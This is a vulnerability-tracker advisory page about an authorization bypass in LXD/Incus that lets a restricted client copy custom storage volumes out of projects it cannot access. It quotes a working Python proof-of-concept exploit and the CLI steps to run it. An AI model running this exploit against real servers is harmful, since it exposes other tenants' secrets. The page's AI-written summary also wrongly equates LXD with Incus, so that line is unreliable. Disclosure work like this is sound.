Skip to main content
← Vulnerabilities

LXD has project restriction bypass for custom volume copy across projects

Exploited
No known exploitation
Fix
Fixed in 0.0.0-20260630083100-c5184be310b1
Who is exposed
Not reported

Do first: Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.

Published
Last modified
17/100 · provisional
High (ghsa)
None on Exploit-DB, Metasploit or GitHub

Summary

LXD (the Incus container and VM manager) has a flaw in how custom storage volumes are copied between projects, where a caller can copy a volume from a project they lack access to into a project they can use. An attacker who knows the project and volume names could use this to reach secrets stored in those volumes, though the copy must happen on the same server.

Written by anthropic/claude-haiku-5.5 from the sources below. Verify against them.

Read the original description

Reported from https://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f

Summary

Missing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.

Details

The storage volume creation handler authorizes creation in the target project, then passes req.Source.Project into the custom-volume copy path without checking that the caller can view the source volume. req.Source.Project is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to CreateCustomVolumeFromCopy. No allowPermission or entitlement check (e.g. CanView on the source volume) is performed.

From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.

PoC

Setup

We assume the target server is remotely accessible and a user/certificate has been added.

# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets storage volume create default secret-vol

# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
  - default

# verification, with the restricted certificate
incus --project secrets storage volume ls remote:default

Exploitation

The below script was partly generated. To copy the secret instance to the default project, the following command can be used.

python3 poc.py --url https://IP-REMOTE:8443 \
    --cert path/to/client.crt --key path/to/client.key \
    --target-project default --source-project secrets \
    --source-volume secret-vol --name copy-secret-vol \
    --pool default --source-pool default \
    --insecure

Wait a bit for the custom volume to be copied, then incus storage volume ls remote:default to see the copied instance.

#!/usr/bin/env python3
"""Copy a custom storage volume from another project into an allowed project."""

from __future__ import annotations

import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request


def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
    ctx = ssl.create_default_context()
    if insecure:
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
    ctx.load_cert_chain(cert, key)
    req = urllib.request.Request(
        url.rstrip("/") + path,
        data=json.dumps(body).encode(),
        method="POST",
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    try:
        with urllib.request.urlopen(req, context=ctx) as resp:
            return resp.read()
    except urllib.error.HTTPError as exc:
        sys.stderr.write(exc.read().decode(errors="replace") + "\n")
        raise


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True)
    ap.add_argument("--cert", required=True)
    ap.add_argument("--key", required=True)
    ap.add_argument("--pool", required=True)
    ap.add_argument("--target-project", required=True)
    ap.add_argument("--source-project", required=True)
    ap.add_argument("--source-volume", required=True)
    ap.add_argument("--source-pool")
    ap.add_argument("--name", required=True, help="new volume name in target project")
    ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"])
    ap.add_argument("--volume-only", action="store_true")
    ap.add_argument("--insecure", action="store_true")
    ap.add_argument("--dry-run", action="store_true")
    args = ap.parse_args()

    source = {
        "type": "copy",
        "name": args.source_volume,
        "project": args.source_project,
        "volume_only": args.volume_only,
    }
    if args.source_pool:
        source["pool"] = args.source_pool

    body = {
        "name": args.name,
        "type": "custom",
        "content_type": args.content_type,
        "source": source,
    }
    path = "/1.0/storage-pools/{}/volumes/custom?{}".format(
        urllib.parse.quote(args.pool, safe=""),
        urllib.parse.urlencode({"project": args.target_project}),
    )
    print(json.dumps(body, indent=2))
    if args.dry_run:
        return 0
    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Impact

An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.

cve.now Index

17Pcve.now Index 17 of 100 · methodology v3 · provisional
  • Exploitation?/40Unknown. No CISA SSVC exploitation rating yet
  • Exposure?/25Unknown. No advisory context yet
  • Reach10/20Affects Go packages
  • Severity7/10Rated high by ghsa
  • No patch0/5No signal

What would change the score

  • Would score about 72 if added to CISA KEV
  • Would score about 67 if CISA's SSVC rates exploitation active
  • Would score about 39 if advisories confirm default setups are exposed

What to do

  • Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.

Timeline

  1. Advisory published
  2. Record last updated
  3. First seen by cve.now

Affected versions

  • github.com/canonical/lxdGo

    fixed in 0.0.0-20260630083100-c5184be310b1

Evidence 10

  1. Advisory
  2. Advisory
  3. Advisory
  4. Repository
  5. Repository
Show all 10 sourcesShow fewer sources
  1. Repository
  2. Repository
  3. Repository
  4. Repository
  5. Repository

Corrections

None so far.

Something wrong on this page? Report an error. Every fix is listed here.

Questions about GHSA-7MR3-28H5-M5VX

Is GHSA-7MR3-28H5-M5VX being exploited?

It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.Source: cve.now feed data

Which versions are affected by GHSA-7MR3-28H5-M5VX?

github.com/canonical/lxd (Go): before 0.0.0-20260630083100-c5184be310b1.Source: cve.now feed data

How do I fix GHSA-7MR3-28H5-M5VX?

Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.Source: cve.now feed data